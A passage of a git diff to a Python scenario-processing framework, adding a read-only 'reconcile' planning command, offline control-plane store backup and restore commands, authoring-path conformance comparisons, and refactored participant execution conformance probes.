EXPLOIT_PATH_ANALYSIS_PROFILE, ) @@ -36,6 +38,14 @@ ) from raes_processor.manifest import reference_processor_manifest_payload from raes_processor.models import ExecutionPlan +from raes_processor.reconciliation_demonstration import ( + PLANNED_STATE_PROJECTION, + ReconciliationDemonstration, + ReconciliationStatus, + ScenarioVersion, + ScenarioVersionRejected, + reconcile_scenario_versions, +) from raes_processor.reference import run_reference_processor from raes_processor.satisfiability import ( ANALYSIS_PROFILE, @@ -197,6 +207,118 @@ def plan( raise typer.Exit(code=1) +def _snapshot_summary(snapshot: RuntimeSnapshot) -> dict[str, Any]: + """Summarize projected state by identity and dependency, never by payload. + + Resource payloads carry authored credentials and content, and the + reconciliation question is answered without them. Profile bindings are + reported by binding id for the same reason -- a binding's ``value`` is + arbitrary profile data. + """ + + entries = sorted( + ( + { + "address": entry.address, + "domain": entry.domain.value, + "resource_type": entry.resource_type, + "ordering_dependencies": list(entry.ordering_dependencies), + "refresh_dependencies": list(entry.refresh_dependencies), + "profile_binding_ids": sorted(binding.binding_id for binding in entry.profile_bindings), + } + for entry in snapshot.entries.values() + ), + key=lambda entry: entry["address"], + ) + return {"entry_count": len(entries), "entries": entries} + + +def _reconciliation_payload(demonstration: ReconciliationDemonstration) -> dict[str, Any]: + baseline_snapshot = demonstration.baseline_snapshot + counts = demonstration.action_counts + candidate_rejected_before_planning = demonstration.status is ReconciliationStatus.BASELINE_REJECTED + return { + "status": demonstration.status.value, + "snapshot_kind": PLANNED_STATE_PROJECTION, + "baseline": { + "scenario_name": demonstration.baseline_scenario_name, + "diagnostics": [diagnostic_payload(diagnostic) for diagnostic in demonstration.baseline_diagnostics], + "snapshot": None if baseline_snapshot is None else _snapshot_summary(baseline_snapshot), + }, + "candidate": ( + None + if candidate_rejected_before_planning + else { + "scenario_name": demonstration.candidate_scenario_name, + "diagnostics": [diagnostic_payload(diagnostic) for diagnostic in demonstration.candidate_diagnostics], + } + ), + # Null rather than four zeroes when nothing was reconciled, so a + # rejected baseline cannot be misread as "no changes". + "actions": None if counts is None else {action.value: counts[action] for action in ChangeAction}, + "operations": ( + None + if demonstration.operations is None + else [ + { + "domain": operation.domain.value, + "address": operation.address, + "resource_type": operation.resource_type, + "action": operation.action.value, + } + for operation in demonstration.operations + ] + ), + } + + +@app.command("reconcile") +def reconcile( + baseline: Path = typer.Argument(..., exists=True, readable=True, help="Baseline SDL scenario version."), + candidate: Path = typer.Argument(..., exists=True, readable=True, help="Modified SDL scenario version."), + manifest_path: Path | None = typer.Option( + None, + "--manifest", + exists=True, + readable=True, + help="Backend-manifest-v2 JSON to plan both versions against (defaults to the reference dry-run manifest).", + ), + output_format: PlanOutputFormat = typer.Option( + ..., + "--format", + help="Output format for the reconciliation report.", + ), +) -> None: + """Show how the planner reconciles one scenario version against another. + + Plans ``BASELINE``, projects its planned state into a synthetic snapshot, + plans ``CANDIDATE`` against that snapshot, and reports every resulting + ``create``/``update``/``delete``/``unchanged`` action. Both versions are + planned against the same manifest, so the reported delta reflects the + authored difference rather than a change of target. + + The projected snapshot is assumed state, not backend readback or proof of + realization; the report summarizes resource identity and dependencies and + deliberately omits resource payloads. This is a read-only dry run: it does + not apply, provision, or start anything. A rejected version yields a + non-zero exit status. + """ + + # Only JSON is supported today; the enum reserves the seam for future formats. + del output_format + backend_manifest = _load_backend_manifest(manifest_path) + try: + demonstration = reconcile_scenario_versions(baseline, candidate, backend_manifest) + except ScenarioVersionRejected as exc: + source = baseline if exc.version is ScenarioVersion.BASELINE else candidate + typer.echo(_sdl_error_summary(source, exc.cause), err=True) + raise typer.Exit(code=1) from exc + + typer.echo(json.dumps(_reconciliation_payload(demonstration), indent=2, sort_keys=True)) + if demonstration.status is not ReconciliationStatus.RECONCILED: + raise typer.Exit(code=1) + + @app.command("satisfiability") def satisfiability( sdl: Path = typer.Argument(..., exists=True, readable=True, help="SDL scenario file to analyze."), diff --git a/implementations/python/packages/raes_cli/runtime.py b/implementations/python/packages/raes_cli/runtime.py new file mode 100644 index 000000000..088cf1bb8 --- /dev/null +++ b/implementations/python/packages/raes_cli/runtime.py @@ -0,0 +1,99 @@ +"""Runtime control-plane operator commands.""" + +from __future__ import annotations + +from pathlib import Path + +import typer +from raes_runtime.control_plane_store_maintenance import ( + DestinationConflictPolicy, + LocalStoreMaintenanceOperation, + maintain_local_control_plane_store, +) + +app = typer.Typer(help="Runtime control-plane operations.") +store_app = typer.Typer(help="Offline local control-plane store maintenance.") +app.add_typer(store_app, name="store") + + +def _run_maintenance( + *, + operation: LocalStoreMaintenanceOperation, + store_path: Path, + target: str, + run_scope: str, + backup_path: Path | None = None, + replace: bool = False, +) -> None: + try: + maintain_local_control_plane_store( + operation=operation, + store_path=store_path, + target_name=target, + run_scope=run_scope, + backup_path=backup_path, + conflict_policy=(DestinationConflictPolicy.REPLACE if replace else DestinationConflictPolicy.REFUSE), + ) + except Exception: + typer.echo(f"control-plane-store-{operation.value}-failed") + raise typer.Exit(code=1) from None + typer.echo(f"control-plane-store-{operation.value}-succeeded") + + +@store_app.command("check") +def check_store( + store_path: Path, + target: str = typer.Option(..., "--target"), + run_scope: str = typer.Option(..., "--run-scope"), +) -> None: + """Validate one offline local store under its exclusive lease.""" + + _run_maintenance( + operation=LocalStoreMaintenanceOperation.CHECK, + store_path=store_path, + target=target, + run_scope=run_scope, + ) + + +@store_app.command("backup") +def backup_store( + store_path: Path, + backup_path: Path, + target: str = typer.Option(..., "--target"), + run_scope: str = typer.Option(..., "--run-scope"), + replace: bool = typer.Option(False, "--replace", help="Replace an existing backup destination."), +) -> None: + """Create one consistent offline SQLite backup.""" + + _run_maintenance( + operation=LocalStoreMaintenanceOperation.BACKUP, + store_path=store_path, + backup_path=backup_path, + target=target, + run_scope=run_scope, + replace=replace, + ) + + +@store_app.command("restore") +def restore_store( + backup_path: Path, + store_path: Path, + target: str = typer.Option(..., "--target"), + run_scope: str = typer.Option(..., "--run-scope"), + replace: bool = typer.Option(False, "--replace", help="Replace an existing destination store."), +) -> None: + """Restore one validated backup into an offline local store.""" + + _run_maintenance( + operation=LocalStoreMaintenanceOperation.RESTORE, + store_path=store_path, + backup_path=backup_path, + target=target, + run_scope=run_scope, + replace=replace, + ) + + +__all__ = ("app",) diff --git a/implementations/python/packages/raes_conformance/_authoring_observations.py b/implementations/python/packages/raes_conformance/_authoring_observations.py new file mode 100644 index 000000000..26e36c2d6 --- /dev/null +++ b/implementations/python/packages/raes_conformance/_authoring_observations.py @@ -0,0 +1,168 @@ +"""Admission and incumbent diagnostic projections for authoring conformance.""" + +from __future__ import annotations + +from dataclasses import dataclass + +from raes import ( + RenameSDLDeclarationRequest, + SDLParseDiagnostic, + SDLParseError, + SDLParserLimits, + canonical_sdl_digest, + parse_sdl, + rename_sdl_declaration, + render_sdl_source, +) +from raes.scenario import Scenario +from raes_contracts.authoring_adapters import AuthoringAdapterVectorModel, AuthoringObservationModel +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts import ArtifactTransformationReportModel +from raes_contracts.diagnostics import DiagnosticModel +from raes_processor.semantic_comparison import coordinate_for_artifact + +_VALIDATE_PROFILE = "validate-sdl/v1" +_LIMITS = SDLParserLimits( + max_input_bytes=65536, + max_scalar_bytes=65536, + max_depth=32, + max_nodes=4096, + max_aliases=32, + max_expanded_nodes=8192, + max_imports=1, + max_composed_nodes=8192, + max_composed_bytes=65536, + max_composition_depth=1, + max_namespace_depth=1, +) + + +@dataclass(frozen=True) +class AuthoringPathOutput: + """Untrusted path output plus original, incumbent diagnostic/provenance evidence.""" + + input_source: str + output_source: str | None + diagnostics: tuple[DiagnosticModel | SDLParseDiagnostic, ...] = () + transformation_report: ArtifactTransformationReportModel | None = None + + +def admit_source(source: str) -> Scenario: + scenario = parse_sdl(source, limits=_LIMITS, source_format="sdl-yaml/v1", migration_policy="reject") + if type(scenario) is not Scenario or scenario.imports: + raise ValueError("this profile requires self-contained normalized authoring SDL") + if scenario.advisories: + raise ValueError("this profile cannot compare unstructured advisory evidence") + return scenario + + +def diagnostic_digest(diagnostics: tuple[DiagnosticModel | SDLParseDiagnostic, ...]) -> str: + """Hash a multiset of incumbent semantic keys, preserving duplicate counts.""" + if len(diagnostics) > 64: + raise ValueError("diagnostic count exceeds the profile limit") + keys: list[tuple[str, str, str, str]] = [] + for item in diagnostics: + if isinstance(item, DiagnosticModel): + item = DiagnosticModel.model_validate(item.model_dump(mode="json")) + key = item.domain, item.code, item.severity.value, item.address + elif isinstance(item, SDLParseDiagnostic): + key = item.stage, item.code, item.severity, item.pointer + if item.severity not in {"error", "warning", "info"}: + raise ValueError("invalid source diagnostic severity") + else: + raise TypeError("diagnostics must use an incumbent structured carrier") + if any(not isinstance(value, str) or len(value.encode("utf-8")) > 4096 for value in key): + raise ValueError("diagnostic key exceeds the profile limit") + if not key[0] or not key[1] or len(item.message.encode("utf-8")) > 512: + raise ValueError("diagnostic requires bounded code, stage and message") + keys.append(key) + return canonical_json_digest({"profile": "authoring-diagnostic-semantics/v1", "keys": sorted(keys)}) + + +def observe_output( + vector: AuthoringAdapterVectorModel, + output: AuthoringPathOutput, +) -> tuple[AuthoringObservationModel, Scenario | None]: + artifact = admit_source(output.output_source) if output.output_source is not None else None + artifact_digest = canonical_sdl_digest(artifact).value if artifact is not None else None + diagnostics = diagnostic_digest(output.diagnostics) + if artifact is None and not output.diagnostics: + raise ValueError("refusal requires structured diagnostics") + transformation_digest = _transformation_digest(vector, output.transformation_report, artifact, artifact_digest) + return AuthoringObservationModel( + outcome="success" if artifact is not None else "refused", + artifact_coordinate=coordinate_for_artifact(artifact) if artifact is not None else None, + canonical_artifact_digest=artifact_digest, + diagnostics_digest=diagnostics, + transformation_digest=transformation_digest, + ), artifact + + +def _transformation_digest( + vector: AuthoringAdapterVectorModel, + report: ArtifactTransformationReportModel | None, + artifact: Scenario | None, + artifact_digest: str | None, +) -> str | None: + if report is None: + if vector.operation.profile != _VALIDATE_PROFILE: + _require_pre_operation_refusal(vector.input_source, artifact) + return None + # Reconstruct: model_copy/model_construct and nested mutation are not admission. + report = ArtifactTransformationReportModel.model_validate(report.model_dump(mode="json")) + _require_transformation_bindings(vector, report, artifact_digest) + if vector.operation.profile == _VALIDATE_PROFILE: + raise ValueError("validation must not fabricate transformation provenance") + return canonical_json_digest(report.model_dump(mode="json")) + + +def _require_transformation_bindings( + vector: AuthoringAdapterVectorModel, + report: ArtifactTransformationReportModel, + artifact_digest: str | None, +) -> None: + if len(report.model_dump_json().encode("utf-8")) > 65536: + raise ValueError("transformation report exceeds the profile byte limit") + source_digest = canonical_sdl_digest(admit_source(vector.input_source)).value + if ( + report.operation_profile != vector.operation.profile + or report.source_digest != source_digest + or report.target_digest != artifact_digest + or report.source_profile != "sdl-authoring-input/v1" + or report.target_profile != "sdl-authoring-input/v1" + or report.canonicalization_profile != "raes-sdl-semantic/v2" + or (report.status == "success") != (artifact_digest is not None) + ): + raise ValueError("transformation evidence does not bind this operation and its artifacts") + + +def _require_pre_operation_refusal(source: str, artifact: Scenario | None) -> None: + """Absent provenance is valid only when strict source admission prevented execution.""" + if artifact is None: + try: + admit_source(source) + except SDLParseError as exc: + if exc.diagnostics: + return + raise ValueError("an admitted transformation operation requires its owning report") + + +def reference_authoring_output(vector: AuthoringAdapterVectorModel) -> AuthoringPathOutput: + """Exercise the production operation; this is not the vector's expected oracle.""" + try: + source = admit_source(vector.input_source) + except SDLParseError as exc: + if not exc.diagnostics: + raise ValueError("this profile requires structured parser rejection evidence") from exc + return AuthoringPathOutput(vector.input_source, None, exc.diagnostics) + if vector.operation.profile == _VALIDATE_PROFILE: + return AuthoringPathOutput(vector.input_source, render_sdl_source(source).content) + result = rename_sdl_declaration( + source, + RenameSDLDeclarationRequest( + target_address=vector.operation.target_address, + new_local_name=vector.operation.new_local_name, + ), + ) + content = render_sdl_source(result.output).content if result.output is not None else None + return AuthoringPathOutput(vector.input_source, content, result.report.diagnostics, result.report) diff --git a/implementations/python/packages/raes_conformance/_realization_validation.py b/implementations/python/packages/raes_conformance/_realization_validation.py index ed82f29bd..85bcc1121 100644 --- a/implementations/python/packages/raes_conformance/_realization_validation.py +++ b/implementations/python/packages/raes_conformance/_realization_validation.py @@ -11,6 +11,7 @@ RealizationConcern, ) from raes_contracts.realization_observation import RealizationObservation +from raes_contracts.vocabulary import RealizationVerificationScope, observation_requirement_satisfied from ._realization_models import ( ExpectedRealizationObservation, @@ -37,12 +38,6 @@ "domain-controller-placement": frozenset({RealizationConcern.TOPOLOGY}), "feature-binding": frozenset({RealizationConcern.FEATURE_BINDING}), } -_STRENGTH_RANK = { - ObservationStrength.NONE: 0, - ObservationStrength.DRIVER_REPORTED: 1, - ObservationStrength.DAEMON_OBSERVED: 2, - ObservationStrength.GUEST_OBSERVED: 3, -} def diagnostic(code: str, address: str, message: str) -> Diagnostic: @@ -137,13 +132,17 @@ def _expected_observation_diagnostics( ] item = candidates[0] diagnostics: list[Diagnostic] = [] - required = strengths.get(expected.concern, ObservationStrength.NONE) - if _STRENGTH_RANK[item.source] < _STRENGTH_RANK[required]: + if not observation_requirement_satisfied( + actual_scope=RealizationVerificationScope.PRESENCE, + actual_source=item.source, + required_scope=None, + required_source=strengths.get(expected.concern), + ): diagnostics.append( diagnostic( "conformance.observation-strength-insufficient", address, - "The realization observation is weaker than the configuration requires.", + "The realization observation source does not match the configuration requirement.", ) ) if not _observation_binding_valid(item, address, request): diff --git a/implementations/python/packages/raes_conformance/authoring_adapters.py b/implementations/python/packages/raes_conformance/authoring_adapters.py new file mode 100644 index 000000000..9bf8487c7 --- /dev/null +++ b/implementations/python/packages/raes_conformance/authoring_adapters.py @@ -0,0 +1,220 @@ +"""Finite, offline comparisons of two authoring paths against published vectors.""" + +from __future__ import annotations + +from dataclasses import dataclass +from pathlib import Path + +from raes import SDLError +from raes.scenario import Scenario +from raes_contracts.authoring_adapters import ( + AuthoringAdapterComparisonModel, + AuthoringAdapterProfileModel, + AuthoringAdapterVectorModel, + AuthoringObservationModel, + parse_authoring_vector, +) +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.corpus import FIXTURES, PROFILES, corpus_family_root +from raes_contracts.json_ingress import parse_bounded_json_object +from raes_contracts.semantic_comparison import ( + ComparisonReason, + IdentityRelation, + ImpactClosureStatus, + RelationStatus, + SemanticComparisonProfileModel, + SemanticComparisonRequestModel, + SemanticComparisonResultModel, +) +from raes_processor.semantic_comparison import analyze_semantic_comparison, build_impact_scope, coordinate_for_artifact + +from ._authoring_observations import AuthoringPathOutput, observe_output, reference_authoring_output + + +@dataclass(frozen=True) +class AuthoringPathComparison: + report: AuthoringAdapterComparisonModel + semantic_result: SemanticComparisonResultModel | None + + +def _read_bounded(path: Path, max_bytes: int) -> bytes: + with path.open("rb") as stream: + content = stream.read(max_bytes + 1) + if len(content) > max_bytes: + raise ValueError("published conformance artifact exceeds byte limit") + return content + + +def _profiles() -> tuple[AuthoringAdapterProfileModel, SemanticComparisonProfileModel]: + root = corpus_family_root(PROFILES) + profile = AuthoringAdapterProfileModel.model_validate( + parse_bounded_json_object( + _read_bounded(root / "authoring-adapters/reference-v1.json", 16384), + max_bytes=16384, + ) + ) + semantic = SemanticComparisonProfileModel.model_validate( + parse_bounded_json_object( + _read_bounded(root / "semantic-comparison/reference-v2.json", 16384), + max_bytes=16384, + ) + ) + if canonical_json_digest(semantic.model_dump(mode="json")) != profile.semantic_profile_digest: + raise ValueError("semantic profile digest does not match the pinned authoring profile") + return profile, semantic + + +def load_authoring_vectors(*, root: Path | None = None) -> tuple[AuthoringAdapterVectorModel, ...]: + """Load the confined, bounded corpus; missing cases cannot vacuously pass.""" + cases_root = (corpus_family_root(FIXTURES) / "authoring-adapters-v1/cases" if root is None else root).resolve() + profile, _ = _profiles() + paths = sorted(cases_root.glob("*.json")) + if not paths: + raise ValueError("authoring vector corpus is empty") + if len(paths) > profile.max_cases: + raise ValueError("authoring vector count exceeds the profile limit") + vectors = [] + for path in paths: + if not path.resolve().is_relative_to(cases_root): + raise ValueError("vector resolves outside the corpus") + vector = parse_authoring_vector(_read_bounded(path, 128 * 1024)) + _require_profile(vector, profile) + if vector.case_id != path.stem: + raise ValueError("vector case id must match its corpus filename") + vectors.append(vector) + return tuple(vectors) + + +def _require_profile(vector: AuthoringAdapterVectorModel, profile: AuthoringAdapterProfileModel) -> None: + if vector.profile_digest != canonical_json_digest(profile.model_dump(mode="json")): + raise ValueError("vector profile digest does not match the published profile") + + +def _observation( + vector: AuthoringAdapterVectorModel, + output: AuthoringPathOutput, + side: str, + reasons: list[str], +) -> tuple[AuthoringObservationModel | None, Scenario | None]: + if output.input_source != vector.input_source: + reasons.append(f"{side}-input-mismatch") + return None, None + try: + return observe_output(vector, output) + except (SDLError, ValueError, TypeError, AttributeError): + # Only fixed typed reasons enter a persisted comparison. No raw exception data. + reasons.append(f"{side}-invalid") + return None, None + + +def _semantic_comparison( + profile: SemanticComparisonProfileModel, + left: Scenario, + right: Scenario, +) -> SemanticComparisonResultModel: + before, after = coordinate_for_artifact(left), coordinate_for_artifact(right) + scope = build_impact_scope( + (left,), (right,), traversal_roots=(after.canonical_identity,), closure_status=ImpactClosureStatus.COMPLETE + ) + request = SemanticComparisonRequestModel( + comparison_profile=profile.profile_id, + comparison_profile_digest=canonical_json_digest(profile.model_dump(mode="json")), + analyzer_profile=profile.analyzer_profile, + before=before, + after=after, + impact_scope=scope, + ) + return analyze_semantic_comparison(profile, request, left, right) + + +def _semantic_relation(result: SemanticComparisonResultModel) -> str: + # Exact textual representations are deliberately not a semantic assertion in v1. + incomplete_context = bool(set(result.reason_codes) - {ComparisonReason.REPRESENTATION_EVIDENCE_MISSING}) + unknown_changes = any( + change.semantic_relation in {RelationStatus.UNKNOWN, RelationStatus.INCOMPARABLE} for change in result.changes + ) + if incomplete_context or unknown_changes: + return "incomparable" + if any( + change.identity_relation != IdentityRelation.SAME or change.semantic_relation == RelationStatus.CHANGED + for change in result.changes + ): + return "different" + return "equivalent" + + +def compare_authoring_paths( + vector: AuthoringAdapterVectorModel, + left: AuthoringPathOutput, + right: AuthoringPathOutput, + *, + left_path: str = "left", + right_path: str = "right", +) -> AuthoringPathComparison: + """Re-admit outputs, compare each axis, and independently check the fixed oracle.""" + vector = parse_authoring_vector(vector.model_dump_json()) + profile, semantic_profile = _profiles() + _require_profile(vector, profile) + reasons: list[str] = [] + left_observed, left_artifact = _observation(vector, left, "left", reasons) + right_observed, right_artifact = _observation(vector, right, "right", reasons) + left_expected = left_observed == vector.expected + right_expected = right_observed == vector.expected + if not left_expected: + reasons.append("left-unexpected") + if not right_expected: + reasons.append("right-unexpected") + artifact = diagnostics = provenance = semantics = "incomparable" + semantic_result = None + if left_observed is not None and right_observed is not None: + artifact = _relation(left_observed.canonical_artifact_digest, right_observed.canonical_artifact_digest) + diagnostics = _relation(left_observed.diagnostics_digest, right_observed.diagnostics_digest) + provenance = _relation(left_observed.transformation_digest, right_observed.transformation_digest) + semantics = "not-applicable" + if left_observed.outcome != right_observed.outcome: + reasons.append("outcomes-differ") + if left_artifact is not None and right_artifact is not None: + semantic_result = _semantic_comparison(semantic_profile, left_artifact, right_artifact) + semantics = _semantic_relation(semantic_result) + reasons.extend(_difference_reasons((artifact, diagnostics, provenance, semantics))) + if semantics == "incomparable": + reasons.append("semantic-context-incomplete") + report = AuthoringAdapterComparisonModel( + case_id=vector.case_id, + vector_digest=canonical_json_digest(vector.model_dump(mode="json")), + left_path=left_path, + right_path=right_path, + left=left_observed, + right=right_observed, + left_matches_expected=left_expected, + right_matches_expected=right_expected, + artifact_relation=artifact, + diagnostic_relation=diagnostics, + provenance_relation=provenance, + semantic_relation=semantics, + semantic_result_digest=canonical_json_digest(semantic_result.model_dump(mode="json")) + if semantic_result + else None, + reason_codes=tuple(sorted(set(reasons))), + ) + return AuthoringPathComparison(report, semantic_result) + + +def _difference_reasons(relations: tuple[str, ...]) -> list[str]: + codes = ("artifacts-differ", "diagnostics-differ", "provenance-differs", "semantics-differ") + return [code for relation, code in zip(relations, codes, strict=True) if relation == "different"] + + +def _relation(left: str | None, right: str | None) -> str: + if left is None and right is None: + return "not-applicable" + return "equivalent" if left == right else "different" + + +__all__ = [ + "AuthoringPathComparison", + "AuthoringPathOutput", + "compare_authoring_paths", + "load_authoring_vectors", + "reference_authoring_output", +] diff --git a/implementations/python/packages/raes_conformance/conformance/participant_execution_probes.py b/implementations/python/packages/raes_conformance/conformance/participant_execution_probes.py index 756b299e7..f01938daa 100644 --- a/implementations/python/packages/raes_conformance/conformance/participant_execution_probes.py +++ b/implementations/python/packages/raes_conformance/conformance/participant_execution_probes.py @@ -4,7 +4,8 @@ import hashlib import json -from dataclasses import replace +from collections.abc import Iterator +from dataclasses import dataclass, replace from raes_contracts.contracts import ( ParticipantTemporalRuntimeContextModel, @@ -34,16 +35,17 @@ def _participant_execution_probe_snapshot( if capability is None or not capability.supports_autonomous_execution: return RuntimeSnapshot() scope = "participant.autonomous-execution.conformance" + needs_start = "start" in capability.supported_execution_control_actions state = ParticipantExecutionServiceStateModel( execution_scope_ref=scope, policy_address=scope, - desired_lifecycle="stopped", - observed_lifecycle="stopped", + desired_lifecycle="stopped" if needs_start else "running", + observed_lifecycle="stopped" if needs_start else "running", generation=0, observed_generation=0, health="healthy", - readiness="not_ready", - accepting_new_work=False, + readiness="not_ready" if needs_start else "ready", + accepting_new_work=not needs_start, draining=False, quiescent=True, resources_released=False, @@ -137,7 +139,9 @@ def _participant_execution_action_case( capability = target.manifest.participant_runtime diagnostics: list[Diagnostic] = [] evidence_refs: tuple[str, ...] = () - if runtime is None or capability is None or not capability.execution_bindings: + action_count = 1 + setup = _participant_execution_action_setup(runtime, capability) + if setup is None: diagnostics.append( _diagnostic( "conformance.participant-execution-binding-missing", @@ -146,52 +150,11 @@ def _participant_execution_action_case( ) ) else: - binding = capability.execution_bindings[0] - evidence_refs = binding.evidence_refs - participants = ( - "participant.conformance", - "participant.conformance-2", - ) - temporal_contexts = ( - ParticipantTemporalRuntimeContextModel( - temporal_contract_id="time.constraint.conformance", - time_domain="scenario_time", - clock_authority="time.clock.conformance", - event_points=["submit", "start", "end", "observed"], - observation_point="time.clock.conformance@segment=0,tick=0", - reset_boundary="time.clock.conformance:segment=0", - ), - ) + action_count = setup.action_count + evidence_refs = setup.binding.evidence_refs try: - control_plane.initialize_participant_episode(participants[1]) - requests = [] - for ordinal, participant_address in enumerate(participants): - request = runtime.bind_autonomous_action( - participant_address, - binding.action_contract_address, - next(iter(capability.supported_autonomous_observation_boundaries)), - binding.participant_implementation_ref, - f"participant-execution-conformance-{ordinal}", - temporal_contexts, - control_plane.snapshot, - ) - requests.append( - replace( - request, - participant_address=participant_address, - action_contract_address=binding.action_contract_address, - action_instance_id=(f"participant-execution-conformance-{ordinal}"), - requires_terminal_outcome=True, - target_addresses=binding.target_addresses, - execution_scope_ref=scope, - execution_generation=0, - ) - ) - results = runtime.admit_actions_concurrently( - tuple(requests), - control_plane.snapshot, - 2, - ) + requests = _participant_execution_requests(setup, control_plane, scope) + results = _admit_participant_execution_requests(setup, requests, control_plane) except Exception as exc: diagnostics.append( _diagnostic( @@ -201,18 +164,13 @@ def _participant_execution_action_case( ) ) else: - if len(results) != 2 or any( - not result.success - or result.action_result is None - or not result.snapshot.participant_behavior_history.get(request.participant_address) - for request, result in zip(requests, results, strict=True) - ): + if _participant_execution_results_are_inert(requests, results, action_count): diagnostics.append( _diagnostic( "conformance.participant-execution-action-inert", f"runtime.participant-execution.{scope}", ( - "Declared bounded execution did not produce two " + "Declared bounded execution did not produce the required " "typed native outcomes with behavior evidence." ), ) @@ -223,12 +181,125 @@ def _participant_execution_action_case( valid=True, passed=not diagnostics, diagnostics=tuple(diagnostics), - expected_operations=("admit-action", "admit-action"), - accounted_operations=(("admit-action", "admit-action") if not diagnostics else ()), + expected_operations=("admit-action",) * action_count, + accounted_operations=(("admit-action",) * action_count if not diagnostics else ()), evidence_refs=evidence_refs, ) +@dataclass(frozen=True) +class _ParticipantExecutionActionSetup: + runtime: object + capability: object + binding: object + action_count: int + participants: tuple[str, ...] + temporal_contexts: tuple[ParticipantTemporalRuntimeContextModel, ...] + + +def _participant_execution_action_setup( + runtime: object | None, + capability: object | None, +) -> _ParticipantExecutionActionSetup | None: + if runtime is None or capability is None or not capability.execution_bindings: + return None + binding = capability.execution_bindings[0] + action_count = min( + 2 if capability.supports_bounded_concurrency else 1, + capability.max_concurrent_actions or 1, + capability.max_autonomous_participants or 1, + binding.max_in_flight, + ) + return _ParticipantExecutionActionSetup( + runtime=runtime, + capability=capability, + binding=binding, + action_count=action_count, + participants=("participant.conformance", "participant.conformance-2")[:action_count], + temporal_contexts=_participant_execution_temporal_contexts(), + ) + + +def _participant_execution_temporal_contexts() -> tuple[ParticipantTemporalRuntimeContextModel, ...]: + return ( + ParticipantTemporalRuntimeContextModel( + temporal_contract_id="time.constraint.conformance", + time_domain="scenario_time", + clock_authority="time.clock.conformance", + event_points=["submit", "start", "end", "observed"], + observation_point="time.clock.conformance@segment=0,tick=0", + reset_boundary="time.clock.conformance:segment=0", + ), + ) + + +def _participant_execution_requests( + setup: _ParticipantExecutionActionSetup, + control_plane: RuntimeControlPlane, + scope: str, +) -> list[object]: + if setup.action_count > 1: + control_plane.initialize_participant_episode(setup.participants[1]) + boundary = next(iter(setup.capability.supported_autonomous_observation_boundaries)) + return [ + _participant_execution_request(setup, control_plane, scope, participant_address, ordinal, boundary) + for ordinal, participant_address in enumerate(setup.participants) + ] + + +def _participant_execution_request( + setup: _ParticipantExecutionActionSetup, + control_plane: RuntimeControlPlane, + scope: str, + participant_address: str, + ordinal: int, + boundary: str, +) -> object: + action_instance_id = f"participant-execution-conformance-{ordinal}" + request = setup.runtime.bind_autonomous_action( + participant_address, + setup.binding.action_contract_address, + boundary, + setup.binding.participant_implementation_ref, + action_instance_id, + setup.temporal_contexts, + control_plane.snapshot, + ) + return replace( + request, + participant_address=participant_address, + action_contract_address=setup.binding.action_contract_address, + action_instance_id=action_instance_id, + requires_terminal_outcome=True, + target_addresses=setup.binding.target_addresses, + execution_scope_ref=scope, + execution_generation=0, + ) + + +def _admit_participant_execution_requests( + setup: _ParticipantExecutionActionSetup, + requests: list[object], + control_plane: RuntimeControlPlane, +) -> tuple[object, ...]: + if setup.action_count > 1: + return setup.runtime.admit_actions_concurrently(tuple(requests), control_plane.snapshot, setup.action_count) + return (setup.runtime.admit_action(requests[0], control_plane.snapshot),) + + +def _participant_execution_results_are_inert( + requests: list[object], + results: tuple[object, ...], + action_count: int, +) -> bool: + return len(results) != action_count or any( + not result.success + or result.action_result is None + or not result.snapshot.participant_behavior_history.get(request.participant_address) + for request, result in zip(requests, results, strict=True) + ) + + def _drive_participant_execution_probe( target: RuntimeTarget, control_plane: RuntimeControlPlane, @@ -236,60 +307,83 @@ def _drive_participant_execution_probe( """Conditionally prove autonomous action execution and lifecycle behavior.""" scope = "participant.autonomous-execution.conformance" - cases = [ - _participant_execution_operation_case( - control_plane, - scope=scope, - action="start", - generation=0, - ), - _participant_execution_action_case( - target, - control_plane, - scope=scope, - ), - ] - for action in ("pause", "resume"): + capability = target.manifest.participant_runtime + if capability is None or not capability.supports_autonomous_execution: + return [] + controls = capability.supported_execution_control_actions + cases = [] + if "start" in controls: + cases.append(_participant_execution_operation_case(control_plane, scope=scope, action="start", generation=0)) + cases.append(_participant_execution_action_case(target, control_plane, scope=scope)) + if controls != {"start", "pause", "resume", "drain", "reset", "teardown"}: + cases.extend(_isolated_control_cases(target, control_plane.snapshot, scope, controls - {"start"})) + return cases + actions = ["pause", "resume", "drain", "reset"] + if "reset" in controls: + actions.append("drain") + actions.append("teardown") + for action in actions: + if action not in controls: + continue + state = ParticipantExecutionServiceStateModel.model_validate( + control_plane.snapshot.participant_execution_services[scope] + ) cases.append( _participant_execution_operation_case( control_plane, scope=scope, action=action, - generation=0, + generation=state.generation, + timeout_seconds=1 if action == "drain" else None, ) ) - cases.append( - _participant_execution_operation_case( - control_plane, - scope=scope, - action="drain", - generation=0, - timeout_seconds=1, - ) - ) - cases.append( - _participant_execution_operation_case( - control_plane, - scope=scope, - action="reset", - generation=0, - ) - ) - cases.append( - _participant_execution_operation_case( - control_plane, - scope=scope, - action="drain", - generation=1, - timeout_seconds=1, + return cases + + +def _isolated_control_cases( + target: RuntimeTarget, + snapshot: RuntimeSnapshot, + scope: str, + controls: set[str], +) -> Iterator[ConformanceCaseResult]: + """Supply each protocol probe's precondition without calling unclaimed controls. + + These are controlled protocol fixtures, not evidence of native lifecycle + fidelity or a required backend control-plane architecture. + """ + + initial_states = { + "pause": "running", + "resume": "paused", + "drain": "running", + "reset": "quiescent", + "teardown": "quiescent", + } + for action, lifecycle in initial_states.items(): + if action not in controls: + continue + state = ParticipantExecutionServiceStateModel.model_validate(snapshot.participant_execution_services[scope]) + state = state.model_copy( + update={ + "desired_lifecycle": lifecycle, + "observed_lifecycle": lifecycle, + "readiness": "ready" if lifecycle == "running" else "not_ready", + "accepting_new_work": lifecycle == "running", + "quiescent": True, + "draining": False, + } ) - ) - cases.append( - _participant_execution_operation_case( - control_plane, - scope=scope, - action="teardown", - generation=1, + fixture = snapshot.with_entries( + dict(snapshot.entries), participant_execution_services={scope: state.model_dump(mode="json")} ) - ) - return cases + isolated = RuntimeControlPlane(target, initial_snapshot=fixture) + try: + yield _participant_execution_operation_case( + isolated, + scope=scope, + action=action, + generation=state.generation, + timeout_seconds=1 if action == "drain" else None, + ) + finally: + isolated.close() diff --git a/implementations/python/packages/raes_conformance/conformance/participant_temporal_probes.py b/implementations/python/packages/raes_conformance/conformance/participant_temporal_probes.py new file mode 100644 index 